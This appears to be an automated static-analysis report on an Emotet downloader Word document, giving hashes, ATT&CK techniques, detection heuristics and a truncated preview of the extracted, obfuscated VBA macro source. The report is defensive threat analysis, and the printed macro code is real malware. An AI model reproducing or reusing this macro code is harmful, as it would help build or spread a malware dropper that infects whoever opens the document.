Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d1411012b14fe1db…

MALICIOUS

Office (OLE)

135.3 KB Created: 2018-06-22 21:41:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 3d30bbb577e44974d41bd6c565af7083 SHA-1: 43b140ab1380d8a0981a7d28def068affde64738 SHA-256: d1411012b14fe1db66d061fc490348c01ba3e8568a307d679e4d79e7290e29f3
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with a signature indicating it's a downloader for the Emotet family. Heuristics confirm the presence of VBA macros, including an AutoOpen macro that utilizes the Shell() function for execution. The VBA script, though obfuscated, appears to be constructing a URL for payload delivery.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6899209-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6899209-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 27034 bytes
SHA-256: bc1b2c6b76ccfd247a20fe1c5d13c1224df4b74ae35f768e1a12a54051d5bfa2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "vhCKEojhOE"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "BNCazfFjuRupD"
Function siWzCGiO()
On Error Resume Next
VrEGQ = (bckdWd * 68340 + 49565 * CInt(DVEsV - CDbl(54408)) * 71332 * Oct(99829))
ZjXwAQLQS = "Hel" + "l  " + "( '" + "44" + "h78" + "O93"
JvCRBJ = (wauwf * 86429 + 75831 * CInt(PnIvii - CDbl(7550)) * 94063 * Oct(27840))
djrPUZFuM = "k71" + "z91" + "B1" + "27" + "B95" + "h4" + "0>"
TAivli = (rYwVYK * 50933 + 52479 * CInt(YCpcf - CDbl(20764)) * 65715 * Oct(23950))
BclUwON = "53@" + "40h" + "10" + "2@1"
iUpVwF = (nWiImC * 78424 + 29649 * CInt(oUqWq - CDbl(54392)) * 64581 * Oct(39289))
SukzncS = "09-" + "12" + "7@" + "37B" + "10" + "3T" + "106"
siWzCGiO = ZjXwAQLQS + djrPUZFuM + BclUwON + SukzncS
KBHlP = (RVSDK * 91045 + 41104 * CInt(rWkosS - CDbl(40132)) * 41771 * Oct(26925))
End Function
Function EsRmTTP()
On Error Resume Next
Qqqrqn = (mUzmE * 83367 + 4450 * CInt(arRkl - CDbl(9626)) * 32207 * Oct(35890))
XYFRDzXi = "z98" + "h10" + "9-1" + "07@" + "12" + "4k" + "40-"
zzFnpC = (onhUY * 34517 + 50655 * CInt(izXaVp - CDbl(75082)) * 59910 * Oct(66066))
lWsKQ = "122" + "z1" + "05" + "k1" + "02T" + "108" + "B10"
SbDlcV = (Yzsqh * 35922 + 94464 * CInt(wzRJh - CDbl(63829)) * 15593 * Oct(32225))
mcbrQZC = "3-1" + "01-" + "51T" + "44k" + "94" + ">10" + "7h"
FnhqwD = (UXEXa * 95270 + 7020 * CInt(MUAUi - CDbl(79465)) * 94962 * Oct(59196))
EdUaPTu = "99" + "T7" + "5@1" + "23"
EsRmTTP = XYFRDzXi + lWsKQ + mcbrQZC + EdUaPTu
HXrVVA = (JKSfo * 76596 + 18809 * CInt(ujVJNZ - CDbl(84504)) * 1297 * Oct(88091))
End Function
Function dhBPwc()
On Error Resume Next
zNjni = (IIGiZL * 81462 + 98958 * CInt(DNQiY - CDbl(41115)) * 47060 * Oct(20640))
tJDTpXAwvhp = ">91" + "O4" + "0_5" + "3z" + "40" + "_10" + "2O"
ZCTnQ = (PWwPX * 75990 + 40329 * CInt(bWXjh - CDbl(51905)) * 3995 * Oct(67684))
OMlqjLHZP = "10" + "9z1" + "27" + "_37" + "O10" + "3h1" + "06-"
WnKLbV = (lZCHO * 62729 + 54657 * CInt(sFTCN - CDbl(52442)) * 53814 * Oct(67898))
TWizpQSHUzO = "98" + "-10" + "9@1"
dhBPwc = tJDTpXAwvhp + OMlqjLHZP + TWizpQSHUzO
roIBpr = (XqMzAF * 78958 + 77125 * CInt(cdwlN - CDbl(14871)) * 90716 * Oct(88812))
End Function
Function ozZQXNXljS()
On Error Resume Next
nbHzW = (uDcUm * 25644 + 39450 * CInt(hSkXUf - CDbl(39348)) * 73609 * Oct(31714))
QvoUuz = "07h" + "12" + "4T" + "40" + "k9" + "1z1"
BkzdwU = (tOwBPb * 45228 + 39342 * CInt(CwdUBn - CDbl(15418)) * 64704 * Oct(31289))
dUwrZ = "13" + "@1" + "23T" + "12" + "4-" + "109" + "T1"
djaOh = (LcwlQ * 31944 + 10657 * CInt(ktzVu - CDbl(35494)) * 82254 * Oct(24527))
OzABml = "01@" + "38-" + "70" + "k10" + "9O"
ozZQXNXljS = QvoUuz + dUwrZ + OzABml
WcXJv = (NcPNfr * 99896 + 35606 * CInt(RAEzZj - CDbl(63840)) * 73640 * Oct(82911))
End Function
Function CBjhPBVtJi()
On Error Resume Next
kHomn = (bQjEmJ * 85562 + 29679 * CInt(kIADZQ - CDbl(70164)) * 51737 * Oct(99913))
FPlvs = "12" + "4T" + "38" + "-95" + ">1"
uOrnU = (pjnLWY * 81222 + 55315 * CInt(EaTNM - CDbl(13832)) * 14534 * Oct(78654))
WwMnDmnq = "09" + "-1" + "06h" + "75" + "@10" + "0T9" + "7>"
oajjR = (zjohs * 68633 + 69252 * CInt(MPwdED - CDbl(55557)) * 23248 * Oct(35623))
zStTRd = "10" + "9O" + "10"
nVqRN = (zmZrzt * 16724 + 13188 * CInt(jLpkI - CDbl(69239)) * 61453 * Oct(38881))
nMZBbOJi = "2>" + "12" + "4k"
GwPdCk = (cHIvv * 27259 + 66546 * CInt(BkFKs - CDbl(57446)) * 35582 * Oct(13497))
quaihVczjFS = "51h" + "44" + "h10" + "6_"
NVsncK = (HBsKPX * 37233 + 69060 * CInt(TWmALT - CDbl(41184)) * 55942 * Oct(41020))
ViLwUS = "106" + "_7" + "0-9" + "0-1" + "01"
XiVbTo = (ZPhsjA * 95385 + 38704 * CInt(uVYEdR - CDbl(42280)) * 42689 * Oct(47446))
oKZLMpd = "k12" + "5h4" + "0T5" + "3_" + "40B" + "47k"
CBjhPBVtJi = FPlvs + WwMnDmnq + zStTRd + nMZBbOJi + quaihVczjFS + ViLwUS + oKZLMpd
jGiuz = (StmJm * 49421 + 47434 * CInt(XzDBv - CDbl(69993)) * 43576 * Oc
... (truncated)

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